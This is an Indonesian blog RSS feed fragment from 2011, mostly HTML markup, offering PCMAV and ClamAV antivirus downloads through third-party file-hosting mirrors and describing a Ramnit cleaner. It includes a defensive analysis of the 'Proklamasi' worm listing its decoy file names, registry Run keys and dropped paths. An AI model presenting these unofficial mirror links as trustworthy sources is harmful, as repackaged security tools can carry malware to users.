src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXg234Tlyt2i_5ClNdhYmHL5Hf1gP6HE27zJ8e0pICdbe29JQZild0moI-lgcImzfjst4Nf1xQ_iOHN9l1HaKGO1QjED2tjk6CjFbjh101BoQ4FnoJW__JrGA6b4yQEsFUCkVIYQiY4W5l/s1600/3.JPG" /></a></div> </div> <br /> <br /> <br /> <div style="color: red;"> <span style="font-weight: bold;"><b>Download ClamWin 0.97.1 free antivirus :</b></span></div> <div style="color: red;"> <b> </b></div> <div class="main"> <span style="font-weight: bold;"><span style="color: red;"><b> </b></span><b>Link 1 = </b></span><b><a href="http://www.ziddu.com/download/15648925/ClamWin-0.97.1.rar.html"><span style="font-weight: bold;">ClamWin 0.97.1</span></a><br /> <span style="font-weight: bold;">Link 2 =&nbsp;</span><a href="http://www.4shared.com/file/ujDa6_A0/ClamWin-0971.html"><span style="font-weight: bold;">ClamWin</span><span style="font-weight: bold;"> 0.97.1</span></a> </b></div></description><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhckNEoLwmPNcbNkQhZOKRZgPcZYjFeihIU7Btnkk55uDuP4pwrWXDiST4hH1wmIT-uL-Cyrw7gxoCEifcMMNvZbXlNfXFSJEa2b9k_jIa4uFWE604hij4fjuBbN92PqCy-8GKFJcfkqg6A/s72-c/1.JPG" width="72"/><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>PCMAV 5.3 Valhallahttp://ekodomba.blogspot.com/2011/07/pcmav-53-valhalla.htmlAnti VirusArtikel dll.PCMAVnoreply@blogger.com (Unknown)Mon, 11 Jul 2011 15:23:00 +0700tag:blogger.com,1999:blog-887853086853221447.post-6429943214750717969<div class="MsoNormal" style="line-height: normal; text-align: center;"><a href="http://ekodomba.blogspot.com/2011/07/pcmav-53-valhalla.html"><span style="font-size: large;"><b><span style="font-weight: bold;">PCMAV 5.3 Valhalla</span></b></span></a></div><br /> <br /> <div style="text-align: justify;">Download PCMAV 5.3 telah disediakan bersamaan dengan peluncuran Majalah PC Media 07/2011 &amp; PCMAV 5.3 yang sudah lama dinanti pembaca setia PC Media tentunya. Kali ini PCMAV 5.3 telah dilengkapi dengan penambahan database pengenal dan pembersih 119 virus lokal/asing/varian baru yang banyak menyebar di Indonesia. Total database pada PCMAV 5.3 sebanyak Total 4.350 virus beserta variannya.</div><div style="text-align: justify;"><br /> </div><div style="text-align: justify;">Seperti biasa, kami mengingatkan kepada Anda untuk membaca terlebih dahulu README.txt yang disertakan bersama PCMAV 5.3 sebelum menggunakannya.</div><a name='more'></a><br /> <div style="color: red;"><b>Bagaimana cara mendapatkan dan menggunakan PCMAV 5.3 Valhalla ?</b></div><br /> Salin paket PCMAV 5.3 dari DVD PC Media ke dalam harddisk sehingga Anda mendapatkan PCMAV 5.3 yang siap digunakan.<br /> <br /> Bagi Anda yang berada di wilayah tak terjangkau distribusi majalah PC Media atau karena suatu hal tidak dapat menggunakan paket PCMAV yang disertakan dalam DVD PC Media namun anda sangat membutuhkannya, silahkan <b>download PCMAV 5.3</b> dari link dibawah artikel ini.<br /> <div style="text-align: justify;"><br /> </div><b>APA YANG BARU?/CHANGE-LOG</b><br /> <b> </b><br /> <b> </b><br /> <ol><li> UPDATED! Ditambahkan database pengenal dan pembersih 119 virus lokal/asing/varian baru yang dilaporkan menyebar di Indonesia. Total 4350 virus beserta variannya.</li> <li>ADDED! Removal engine khusus untuk membersihkan secara tuntas virus Ramnit.A sampai Ramnit.K (11 varian), dan FontPorn yang menyebar luas&nbsp; di Indonesia. </li> <li>ADDED! Penambahan pendeteksian terhadap file shortcut yang memiliki target yang berpotensi berbahaya.</li> <li>IMPROVED! Perubahan nama virus mengikuti varian baru yang ditemukan.</li> <li>IMPROVED! Perbaikan beberapa minor bug dan improvisasi kode internal untuk memastikan bahwa PCMAV tetap menjadi antivirus kebanggaan Indonesia.</li> </ol><br /> (Keterangan Lengkap Lihat Gambar Di Bawah) .........<br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: center; width: 450px;"><div class="separator" style="clear: both; text-align: left;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjL7atvu_gEc-f0hwwfKAb5h64Cm2g-sp4Kxngsi_tBKM1WHd0bvR0J6FNSlS8HzGf0NRUBkSi8C6jATVvX-re17K4yv8lS_-3KxkU8XmbW6kVpArGAVUuZoO33XajjfF7ylx3_4Ix7S67v/s1600/1.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjL7atvu_gEc-f0hwwfKAb5h64Cm2g-sp4Kxngsi_tBKM1WHd0bvR0J6FNSlS8HzGf0NRUBkSi8C6jATVvX-re17K4yv8lS_-3KxkU8XmbW6kVpArGAVUuZoO33XajjfF7ylx3_4Ix7S67v/s1600/1.JPG" /></a></div><br /> <div class="separator" style="clear: both; text-align: left;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdpaS_WPdosaFHFrNbHZMWRTNuyU-drwsLq14BtzwMypSgftw0o-MtvEYYhnJ4rLlQhsIQIPFGQS50vbKj5RMKU5bUOnCQkosoDMcHnyLq9dpSk6eO_CC-IY4-jxopIe17NFkSL3qnNGBW/s1600/2.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdpaS_WPdosaFHFrNbHZMWRTNuyU-drwsLq14BtzwMypSgftw0o-MtvEYYhnJ4rLlQhsIQIPFGQS50vbKj5RMKU5bUOnCQkosoDMcHnyLq9dpSk6eO_CC-IY4-jxopIe17NFkSL3qnNGBW/s1600/2.JPG" /></a></div></div><br /> <br /> <div style="text-align: center;"><span style="font-size: 180%; font-weight: bold;">&gt;&gt;&gt; Selamat Mencoba &lt;&lt;&lt;</span> <br /> <div style="text-align: left;"><br /> </div></div><span style="color: #ff6666; font-weight: bold;">Note (Penting) :</span> <br /> <ol><li><span style="color: #ff6666; font-weight: bold;">Setelah&nbsp; Download PCMAV 5.3 Valhalla extraks terlebih dahulu kemudian copy/cut seluruh </span><b>Isi Yang Terdapat Dalam Folder</b><span style="color: lime; font-size: small;"> </span><span style="color: #ff6666; font-weight: bold;">ekstrakan tersebut kedalam folder PCMAV sebelumnya (PCMAV 5.1 Valhalla), jika belum memiliki </span><span style="color: #ff6666; font-weight: bold;">PCMAV 5.2 Valhalla silahkan Download disini </span><a href="http://ekodomba.blogspot.com/2011/06/pcmav-52-valhalla.html"><b>PCMAV 5.2</b></a></li> <li><span style="color: #ff6666; font-weight: bold;">no.2 (</span><span style="color: #cc0000; font-weight: bold;">Hanya update (.vdb) Build1)</span><span style="color: #ff6666; font-weight: bold;"><span style="color: #cc0000;"> </span>di Extract dahulu setelah itu dimasukan dalam folder PCMAV 5.0 Valhalla/vdb</span></li> </ol><br /> <br /> <div style="color: red;"><span style="font-size: large;"><b><i>Download Here</i></b></span></div><br /> <b style="color: #cc0000; font-weight: bold;">1. Hanya PCMAV </b><span style="color: #cc0000; font-weight: bold;"><b>5</b>.3 Valhalla </span><span style="font-weight: bold;"><span style="color: #cc0000;">:</span></span> <br /> <div class="main"><span style="font-weight: bold;"> Link 1 = <a href="http://www.blogger.com/goog_1366011901"> </a></span><a href="http://www.ziddu.com/download/15647936/PCMAV5.3Valhallaekodomba.blogspot.rar.html"><span style="font-weight: bold;">PCMAV 5.3</span></a><br /> <span style="font-weight: bold;">Link 2 = </span><a href="http://www.4shared.com/file/6yJOUevb/PCMAV_53_Valhalla__ekodombablo.html"><b>PCMAV 5.3</b></a> <br /> <br /> <span style="color: #cc0000; font-weight: bold;">2. </span><span style="color: #cc0000; font-weight: bold;">Hanya update (.vdb) Build1 :</span> <br /> <span style="font-weight: bold;"> Link 1 = </span><span style="font-size: 100%;"><b>Update Build 1 (Menunggu)</b></span><span style="font-weight: bold;"><br /> Link 2 =</span><span style="color: #33cc00; font-weight: bold;"><span style="color: black; font-weight: bold;"> </span></span><span style="font-size: 100%;"><b>Update Build 1 </b></span><span style="font-size: 100%;"><b>(Menunggu)</b></span></div>0Clamav 0.97.1http://ekodomba.blogspot.com/2011/07/clamav-0971.htmlCLAMAVnoreply@blogger.com (Unknown)Mon, 11 Jul 2011 15:07:00 +0700tag:blogger.com,1999:blog-887853086853221447.post-6914619489174173667<div style="text-align: center;"><span style="font-size: large;"><span style="font-weight: bold;"><a href="http://ekodomba.blogspot.com/2011/07/clamav-0971.html"><b>Clamav 0.97.1 Plugins PCMAV 5.3 Valhalla</b></a><br /> <br /> <img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinNaZkJDm0mHf3pvScIQdyJfCKPrQwZ_ON2AwsIcH7-V6CtWwAkQkYXj9y-PhS-z85T7WBSNmu19hX3zG9jzqMYO-viJo0VkvNps9nNnSDNd-9A6XFF_HKYGzKf9aaAbgE2E2CB1rKOpmB/s200/img2.JPG" width="200" /><span style="font-weight: bold;"> </span></span></span></div><br /> <br /> Inilah dia yang ditunggu-tunggu CLAMAV 0.97.1 plugins untuk PCMAV 5.3 Valhalla yang telah saya coba integrasikan ternyata berhasil (Keterangan Lengkap Lihat Gambar Di Bawah) .........<br /> <br /> <a name='more'></a><br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: center; width: 450px;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjL7atvu_gEc-f0hwwfKAb5h64Cm2g-sp4Kxngsi_tBKM1WHd0bvR0J6FNSlS8HzGf0NRUBkSi8C6jATVvX-re17K4yv8lS_-3KxkU8XmbW6kVpArGAVUuZoO33XajjfF7ylx3_4Ix7S67v/s1600/1.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjL7atvu_gEc-f0hwwfKAb5h64Cm2g-sp4Kxngsi_tBKM1WHd0bvR0J6FNSlS8HzGf0NRUBkSi8C6jATVvX-re17K4yv8lS_-3KxkU8XmbW6kVpArGAVUuZoO33XajjfF7ylx3_4Ix7S67v/s1600/1.JPG" /></a></div><br /> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdpaS_WPdosaFHFrNbHZMWRTNuyU-drwsLq14BtzwMypSgftw0o-MtvEYYhnJ4rLlQhsIQIPFGQS50vbKj5RMKU5bUOnCQkosoDMcHnyLq9dpSk6eO_CC-IY4-jxopIe17NFkSL3qnNGBW/s1600/2.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdpaS_WPdosaFHFrNbHZMWRTNuyU-drwsLq14BtzwMypSgftw0o-MtvEYYhnJ4rLlQhsIQIPFGQS50vbKj5RMKU5bUOnCQkosoDMcHnyLq9dpSk6eO_CC-IY4-jxopIe17NFkSL3qnNGBW/s1600/2.JPG" /></a></div></div><br /> Bagaimana cara mengkombain CLAMAV 0.97.1 dengan PCMAV 5.3 Valhalla :<br /> 1. terlebih dahulu download CLAMAV 0.97.1 melalui link dibawah ini<br /> 2. setelah berhasil didownload extract hasil download tersebut<br /> 3. setelah berhasil di extract kemudian ambil file dengan nama dibawah ini<br /> &nbsp;&nbsp;&nbsp; a. libclamav.dll<br /> &nbsp;&nbsp;&nbsp; b. libclamunrar.dll<br /> &nbsp;&nbsp;&nbsp; c. libclamunrar_iface.dll<br /> 4. copy/cut file tersebut kemudian buka folder PCMAV 5.3 Valhalla lalu pindahkan ke folder plugins/clamav<br /> <br /> Silahkan Download CLAMAV 0.97.1 Plugins <span style="font-size: small;">PCMAV </span>5.3 Valhalla <span style="font-size: small;">melalui Link dibawah ini...</span><br /> <div style="text-align: left;"><span style="font-size: large;"><a href="http://ekodomba.blogspot.com/2011/02/clamav-097.html"><br /> </a></span></div><div style="text-align: left;"><div style="text-align: center;"><span style="font-size: large;"><br /> <b><span style="font-size: large;">&gt;&gt;&gt; Selamat Mencoba &lt;&lt;&lt; </span></b><br /> <br /> <br /> </span><br /> <div style="text-align: left;"><b><span style="font-size: large;"><span style="font-size: small;">Download Link : </span></span></b></div><div style="text-align: left;"><b><span style="font-size: large;"><span style="font-size: small;"><a href="http://ekodomba.blogspot.com/2011/02/clamav-097.html"> </a></span><span style="font-size: small;"> <span style="color: #cc0000;"><span style="color: #cc0000;">Download CLAMAV 0.97.1</span></span><span style="color: #cc0000;"> </span><span style="color: #cc0000;">:</span> </span></span></b></div><div style="text-align: left;"><b><span style="font-size: large;"><span style="font-size: small;"><a href="http://ekodomba.blogspot.com/2011/02/clamav-097.html"> </a></span><span style="font-size: small;"> Link 1 = <a href="http://www.ziddu.com/download/15647613/clamav-win32-0.97.1.7z.html">CLAMAV 0.97.1</a></span></span></b></div><div style="text-align: left;"><b><span style="font-size: large;"><span style="font-size: small;"><span style="font-weight: bold;"><span style="font-weight: bold;">Link 2 = </span><a href="http://www.4shared.com/file/JRHuLea_/clamav-win32-0971.html"><span style="font-weight: bold;">CLAMAV 0.97.1</span></a></span></span></span></b></div></div><div class="main"><span style="font-size: large;"><span style="font-size: small;"><span style="font-weight: bold;"> </span></span></span></div></div>0PCMAV Express for Ramnithttp://ekodomba.blogspot.com/2011/07/pcmav-express-for-ramnit.htmlAnti VirusArtikel dll.PCMAVnoreply@blogger.com (Unknown)Mon, 11 Jul 2011 13:36:00 +0700tag:blogger.com,1999:blog-887853086853221447.post-3907618987895859186<div style="text-align: center;"><a href="http://ekodomba.blogspot.com/2011/07/pcmav-express-for-ramnit.html"><span style="font-size: large;"><b>PCMAV Express</b></span></a></div><div style="text-align: center;"><a href="http://virusindonesia.com/2011/07/05/pcmav-express-for-ramnit/"><span style="font-size: small;"><b>PCMAV Express for Ramnit</b></span></a></div><br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 300px; overflow: auto; text-align: center; width: 450px;"><img alt="PCMAV Express for Ramnit" src="http://www.virusindonesia.com/wp-content/uploads/2011/06/pcmav-express-for-ramnit-1.png" /></div><br /> <b>Ramnit</b> merupakan salah satu virus yang belakangan ini terus merajalela. Ciri yang paling mudah dikenali pada komputer yang telah terinfeksi Ramnit adalah terciptanya 4 buah <i>shortcut</i> pada <i>removable disk</i> dengan nama:<br /> <br /> Copy of Shortcut to (1).lnk<br /> Copy of Shortcut to (2).lnk<br /> Copy of Shortcut to (3).lnk<br /> Copy of Shortcut to (4).lnk<br /> <a name='more'></a><br /> Dibalik shortcut yang mudah terlihat, banyak aksi Ramnit lainnya yang tidak mudah terdeteksi, antara lain menginfeksi file *.exe/*.dll/*.htm/*.html, menginjeksi <i>multi-process</i>es di <i>memory</i>, dan berusaha men-<i>download </i>malware lainnya. Ramnit dilengkapi dengan kemampuan <i>rootkit</i> canggih yang membuatnya <i>stealth</i> di memory. Ramnit dapat menjangkiti komputer yang bersih dengan berbagai teknik, melalui <i>exploit</i> shortcut, autorun, ataupun melalui eksekusi file exe/dll dan HTML yang telah terinfeksi.<br /> <br /> <b>PCMAV Express for Ramnit</b> dibuat untuk membersihkan berbagai varian Ramnit yang <i>in-the-wild</i>, menghentikan proses Ramnit di memory komputer yang terinfeksi, membersihkan file yang terinfeksi Ramnit, baik <i>executable file</i> maupun HTML dengan sempurna dan akurat pada setiap <i>drive </i>(hard disk maupun removable disk) yang terpasang, dan memperbaiki registry yang diubah Ramnit.<br /> <br /> <b>Aturan Penggunaan:</b><br /> <ol><li>Jalankan PCMAV for Ramnit dari hard disk, hindari menjalankannya dari flash disk mengingat shortcut Ramnit dapat tereksekusi saat Anda mengklik drive flash disk yang terinfeksi melalui Windows Explorer.</li> <li>Pastikan user Anda memiliki hak setara Administrator.</li> <li>Nonaktifkan/tutup aplikasi (antivirus, Windows Explorer maupun program lainnya) yang masih aktif agar tidak mengganggu PCMAV Express.</li> <li>Nonaktifkan fungsi Autorun (link referensi: <a href="http://support.microsoft.com/kb/967715">http://support.microsoft.com/kb/967715</a>).</li> <li>Pasang flashdisk yang terinfeksi pada komputer agar ikut dibersihkan oleh PCMAV Express for Ramnit, tetapi jangan diakses.</li> <li>Pastikan komputer Anda *tidak* terkoneksi ke jaringan atau Internet selama proses scan.</li> <li>Untuk beberapa varian Ramnit, PCMAV Express for Ramnit akan memberikan pilihan untuk scan melalui Safe Mode. </li> </ol><br /> <div style="border: 1px solid rgb(153, 153, 153); height: 300px; overflow: auto; text-align: center; width: 450px;"><img alt="PCMAV Express for Ramnit" src="http://www.virusindonesia.com/wp-content/uploads/2011/06/pcmav-express-for-ramnit-2.png" /></div><br /> Jika Anda memilih pilihan ini maka PCMAV Express for Ramnit akan berusaha melakukan restart ke Safe Mode secara otomatis, dan mengembalikannya ke Normal Mode setelah proses scan selesai.<br /> <ol><li>Setelah selesai, sangat disarankan untuk melakukan restart dan scan ulang (jika perlu).</li> <li>Setelah virus berhasil dituntaskan, segera <a href="http://www.microsoft.com/technet/security/bulletin/ms10-046.mspx" target="_blank" title="Microsoft Security Bulletin MS08-067 – Critical">update/patch</a> Windows Anda.</li> <li>Pastikan seluruh PC yang telah terhubung di dalam jaringan juga telah bebas Ramnit, sebelum PC Anda kembali terkoneksi ke jaringan.</li> </ol><b>Update:</b><br /> <br /> Bagian ini akan terus di-<i>update</i> sesuai dengan perkembangan virus Ramnit yang terus kami pantau. Varian baru Ramnit (atau virus lainnya) yang Anda temukan dapat di-<i>upload</i> ke: <b><a href="http://upload.virusindonesia.com/">http://upload.virusindonesia.com</a></b>.<br /> Sampai saat ini PCMAV Express for Ramnit telah dapat menangani <b>13</b> varian Ramnit yang berfungsi sebagai <i>dropper </i>virus:<br /> <br /> 1.&nbsp;&nbsp; Ramnit.A.dropper<br /> 2.&nbsp;&nbsp; Ramnit.B.dropper<br /> 3.&nbsp;&nbsp; Ramnit.C.dropper<br /> 4.&nbsp;&nbsp; Ramnit.D.dropper<br /> 5.&nbsp;&nbsp; Ramnit.E.dropper<br /> 6. &nbsp; Ramnit.F.dropper<br /> 7.&nbsp;&nbsp; Ramnit.G.dropper<br /> 8.&nbsp;&nbsp; Ramnit.H.dropper<br /> 9.&nbsp;&nbsp; Ramnit.I.dropper<br /> 10. Ramnit.J.dropper<br /> 11. Ramnit.K.dropper<br /> 12. Ramnit.L.dropper<br /> 13. Ramnit.M.dropper<br /> <br /> Secara regular <i>engine</i> utama PCMAV akan di-update mengikuti perkembangan Ramnit.<br /> Pada halaman ini kami juga menyediakan PCMAV Express for Ramnit untuk di-download pada link dibawah ini. <br /> <br /> <br /> <br /> <div style="color: red;"><span style="font-size: large;"><b><i>Download Here</i></b></span></div><div style="color: #cc0000;"><br /> </div><div style="color: #cc0000;"><b>PCMAV Express for Ramnit</b><span style="font-weight: bold;"></span><span style="font-weight: bold;"> :</span> </div><div class="main"><b><span style="font-weight: bold;"> Link 1 =&nbsp;</span><a href="http://www.ziddu.com/download/15646584/PCMAVExpressforRamnit.rar.html">PCMAV Express for Ramnit </a></b><br /> <b><span style="font-weight: bold;">Link 2 = </span><a href="http://www.4shared.com/file/p5olNZTV/PCMAV_Express_for_Ramnit.html">PCMAV Express for Ramnit </a></b></div>0Build 1http://ekodomba.blogspot.com/2011/07/build-1.htmlAnti VirusArtikel dll.PCMAVnoreply@blogger.com (Unknown)Thu, 7 Jul 2011 17:41:00 +0700tag:blogger.com,1999:blog-887853086853221447.post-6297203311672534542<div class="info"><div style="text-align: center;"><b><span style="font-size: large;"><a href="http://ekodomba.blogspot.com/2011/07/build-1.html"><span style="font-weight: bold;">PCMAV 5.2 Valhalla + Build1</span></a>&nbsp;</span></b></div><div style="text-align: center;"><a href="http://virusindonesia.com/2011/07/04/proklamasi-semangat-perjuangan-ala-malware/"><b><span style="font-size: large;">Proklamasi: Semangat Perjuangan ala Malware</span></b></a></div><br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: center; width: 450px;"><img alt="" src="http://virusindonesia.com/wp-content/uploads/2011/06/proklamasi/1.html.png" /></div><br /> <b>Proklamasi.</b> Sesaat kita terlupa oleh banyaknya malware yang siap menyerang user melalui email seperti Antivirus Palsu dan ancaman paling besar adalah melalui flash disk seperti Ramnit yang saat ini masih banyak menyebar di masyarakat. Akan tetapi, masih ada saja virus maker lokal yang membuat malware tanpa melupakan ciri khas utamanya yaitu pesan-pesan yang menandakan kehadirannya, seperti salah satu malware yang kami beri nama Proklamasi sesuai dengan pesan yang dibuatnya seperti pada gambar di atas.<br /> <br /> <a name='more'></a><br /> <b>A. Info File</b><br /> Nama Worm : Proklamasi Asal : Indonesia Ukuran File : 72.0 KB (73,728 bytes) Packer : ~ Pemrograman : MS Visual Basic 5.0-6.0 Icon : Salah satu Antivirus lokal Tipe : Worm<br /> <br /> <b>B. About Malware</b><br /> Sedikit flash back ke salah satu malware yang pernah di bahas di VirusIndonesia.com awal januari 2010 http://virusindonesia.com/2010/01/08/zhola-pcmav-22c-update-build1/ yang hadir dengan menggunakan icon salah satu antivirus lokal.&nbsp; Ciri utamanya adalah mengeluarkan pesan palsu setelah worm di jalankan. Dan tanpa sadar, user sudah terinfeksi oleh worm yang satu ini.<br /> <br /> <img alt="" src="http://virusindonesia.com/wp-content/uploads/2011/06/proklamasi/2.message.png" /><br /> <br /> Worm Proklamasi juga menggunakan teknik social engenering dengan menggunakan icon yang sama seperti antivirus lokal tersebut. Yang berbeda adalah source code yang digunakan bukan hasil modifikasi seperti worm Zhola, selain itu worm ini juga dikhawatirkan akan menyebar luas karena setelah kami mendapatkan sampelnya, hanya beberapa antivirus luar negeri yang mampu mendeteksinya sebagai malware menggunakan teknik heuristik.<br /> <br /> Efek yang didapatkan setelah worm ini aktif cukup berbeda karena bagi user yang sudah terinfeksi akan lebih mengenal beberapa lagu-lagu Bondan Prakoso &amp; F2B.<br /> <br /> <b>C. Companion/File yang dibuat</b><br /> Setelah aktif di memori, worm Proklamasi akan membuat beberapa file dan dua buah folder pada setiap drive termasuk removable disk:<br /> <ul><li>Lirik Bondan Prakoso &amp; F2B – Kita Selamanya.exe</li> <li>Lirik Bondan Prakoso &amp; F2B – Tetap Semangat.exe</li> <li>Lirik Bondan Prakoso &amp; F2B – Ya Sudahlah.exe</li> <li>Lirik Bondan Prakoso &amp; F2B – Tidurlah.exe</li> <li>Lirik Bondan Prakoso &amp; F2B – Berawal Dari Mimpi.exe</li> <li>Lirik Bondan Prakoso &amp; F2B – For All.exe</li> <li>Lirik Bondan Prakoso &amp; F2B – SOS.exe</li> <li>Lirik Bondan Prakoso &amp; F2B – Kroncong Protol.exe</li> <li>Lirik Bondan Prakoso &amp; F2B – No With Me.exe</li> <li>Lirik Bondan Prakoso &amp; F2B – Respect.exe</li> <li>Lirik Bondan Prakoso &amp; F2B – Expresikan.exe</li> <li>Lirik Bondan Prakoso &amp; F2B -waktu.exe</li> <li>Lirik Bondan RIP (Rhyme In Peace).exe</li> <li>Trik Bisnis Online Murah Meriah.exe</li> </ul>Folder yang dibuat dengan nama “<b>autorun.inf</b>” dan “<b>Smadavlock</b>” serta di dalamnya terdapat 1 buah file dengan nama readme.exe. Meskipun tidak menggunakan autorun.inf, Proklamasi juga menggunakan shorcut yang berfungsi untuk memanggil file <b>readme.exe</b> pada kedua folder tersebut.<br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: center; width: 450px;"><img alt="" src="http://virusindonesia.com/wp-content/uploads/2011/06/proklamasi/4.companion.png" /></div><br /> <b>D. Hasil Infeksi</b><br /> Terdapat 3 proses Proklamasi yang ada di dalam berjalan di memory. Keadaan akan semakin memburuk dengan munculnya peringatan Windows File Protection<br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 200px; overflow: auto; text-align: center; width: 450px;"><img alt="" src="http://virusindonesia.com/wp-content/uploads/2011/06/proklamasi/5.process.png" /></div><br /> <img alt="" src="http://virusindonesia.com/wp-content/uploads/2011/06/proklamasi/6.wfp.png" /><br /> <br /> Agar berjalan otomatis bersamaan dengan proses startup windows, Proklamasi membuat beberapa hots antara lain seperti:<br /> <br /> HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\DeltaRTP<br /> <br /> HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\DelRTP<br /> <br /> C:\WINDOWS\dllhoss.exe<br /> C:\WINDOWS\Temp.exe<br /> C:\Documents and Settings\All Users\Start Menu\Programs\Startup\systray.exe<br /> <br /> <b>E. Pembersihan</b><br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: center; width: 450px;"><img alt="" src="http://virusindonesia.com/wp-content/uploads/2011/06/proklamasi/7.pcmav.png" /></div><br /> Malware ini telah dikenali dan dapat dibersihkan pada PCMAV 5.2 Update Build1 ini berikut ini.<br /> <br /> <b>PCMAV 5.2 Update Build1</b><br /> Untuk membasmi virus ini ataupun varian virus lainnya, PCMAV 5.2 Update Build1 telah hadir dengan penambahan <b>105 </b> pengenal varian virus baru. Bagi Anda pengguna PCMAV 5.2, sangat disarankan segera melakukan <i>update</i>, agar PCMAV Anda dapat mengenali dan membasmi virus lebih banyak lagi.<br /> <br /> Untuk mendapatkan dan menggunakan update PCMAV ini, Anda cukup menjalankan PCMAV.exe, komputer harus dalam keadaan aktif terhubung ke Internet. Jika koneksi Internet menggunakan <i>proxy</i>, tentukan konfigurasi proxy pada file proxy.txt . Fitur Automatic Updates dari PCMAV akan secara otomatis men-download dan meng-update database dari PCMAV. Anda juga dapat mengupdate kapan saja dengan klik kanan icon PCMAV pada system tray dan pilih <i>Update</i>.<br /> <br /> Bagi Anda yang ingin mendapatkan file update tersebut secara manual, Anda bisa men-download file-nya melalui beberapa link dibawah ini:<br /> <br /> Letakkan file hasil download tersebut (update.vdb) ke dalam folder \vdb. Jika sebelumnya telah terdapat file update yang lama, Anda cukup <b>menimpanya</b>. Pastikan sekali lagi, bahwa nama file update adalah update.vdb, jika berbeda, cukup ubah namanya. Dan nanti saat Anda kembali menjalankan PCMAV, ia sudah dalam keadaan kondisi ter-update.<br /> <br /> <b>Daftar tambahan virus hingga PCMAV 5.2 Update Build1:</b><br /> Adeied<br /> Adeied.dll<br /> AutoPah<br /> BadShortcut<br /> BancosKernel<br /> BancosKernel.dat<br /> Brontok-JoseRay.K<br /> Brontok-JoseRay.K.bat<br /> Brontok-JoseRay.K.exe.A<br /> Brontok-JoseRay.K.exe.B<br /> CryptocX<br /> CryptocX.dll<br /> DeathDrive.G<br /> Dhoos.B<br /> Dhoos.B.dll<br /> Dhoos.B.sys<br /> Dhoos.C<br /> Dhoos.C.dll<br /> Dhoos.C.sys<br /> Dret<br /> EGold<br /> EGold.dll<br /> EGold.drp<br /> EGold.txt<br /> Erci<br /> Erci.html<br /> Fadss<br /> Fadss.bat<br /> Fadss.bing<br /> Fadss.inf.A<br /> Fadss.inf.B<br /> Fadss.inf.C<br /> Fadss.inf.D<br /> Fadss.inf.E<br /> Fadss.junk<br /> Fadss.pass<br /> Fadss.php<br /> Fadss.vbs<br /> FakeAV-Downloader.L<br /> FakeAV-Downloader.M<br /> FakeAV-Downloader.M.exe<br /> FakeAV-Downloader.M.ico.A<br /> FakeAV-Downloader.M.ico.B<br /> FakeAV-Downloader.M.ico.C<br /> FakeAV-Downloader.M.lnk.A<br /> FakeAV-Downloader.M.lnk.B<br /> FakeAV-Downloader.M.lnk.C<br /> FakeAV-Downloader.M.lnk.D<br /> FakeAV-Downloader.M.lnk.E<br /> FakeDownloader.BL<br /> FakeDownloader.BL.drp<br /> FakeDownloader.BL.exe.A<br /> FakeDownloader.BL.exe.B<br /> FakeDownloader.BL.exe.C<br /> FakeDownloader.BL.tmp<br /> FakeDownloader.BL.zip<br /> Fakhricker.vbs.B<br /> Fakhricker.vbs.B.drp<br /> FontPorn<br /> FontPorn.dll.A<br /> FontPorn.dll.B<br /> FontPorn.ini.A.ini<br /> FontPorn.ini.B<br /> FontPorn.lnk<br /> GamesQip<br /> GamesQip.html<br /> HellP2P.Gen.A<br /> HellP2P.Gen.B.exe<br /> HellP2P.Gen.txt<br /> JView.B<br /> KitNet<br /> KitNet.html.A<br /> KitNet.html.B<br /> KitNet.html.C<br /> Mangerr<br /> Mangerr.dll<br /> Modio<br /> Modio.drp<br /> NuevaCarpeta<br /> Parents.C<br /> Proklamasi<br /> Proklamasi.exe<br /> Proklamasi.lnk<br /> PVK-Acehku.A<br /> PVK-Acehku.B<br /> Qvod<br /> Qvod.A.dll.A<br /> Qvod.A.dll.B<br /> Qvod.A.dll.C<br /> Qvod.A.inf<br /> Qvod.A.local<br /> Qvod.B<br /> Qvod.B.dll<br /> Qvod.exe.A<br /> Ramz.Dropper<br /> Rask.A<br /> Rask.A.drp<br /> Rask.B<br /> Rask.B.drp<br /> RazorBlade<br /> SysTask.A<br /> SysTask.B<br /> TeraBit.txt<br /> Wukill.D<br /> ZetKa.B <br /> <br /> PCMAV 5.2 Update Build1 telah tersedia dengan penambahan 105 database virus baru yang telah berhasil ditambahkan pada update build kali ini. Update PCMAV dapat dilakukan secara otomatis dengan memilih “Update” pada menu klik kanan icon PCMAV di system tray, ini salah satu fitur yang telah berhasil ditambahkan pada rilis PCMAV 5.2 Jika Anda ingin mendownload update build secara manual dapat melalui link dibawah ini.<br /> <br /> (Keterangan Lengkap Lihat Gambar Di Bawah) .........<br /> <br /> <div style="border: 1px solid rgb(153, 153, 